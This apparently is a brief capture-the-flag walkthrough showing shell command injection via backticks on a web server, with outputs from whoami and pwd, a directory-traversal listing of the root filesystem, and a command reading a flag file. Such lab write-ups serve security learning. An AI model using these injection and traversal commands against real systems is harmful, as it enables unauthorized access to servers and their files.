

Get sad shell

```
> echo "test";  
test
```

- Backticks or the back quote (`) character which allows a user to assign the shell command's output to the variable.

```
> echo `whoami`;  
www-data
```

```
> echo `pwd`;  
/var/www/html/evil
```

```
> echo `ls ../../../../../../`;
```

bin boot dev etc flag_43243204320.txt home lib lib64 media mnt opt proc root run sbin srv sys t.php tmp usr var

```
> echo `cat  
../../../../../../../../flag_43243204320.txt`;
```
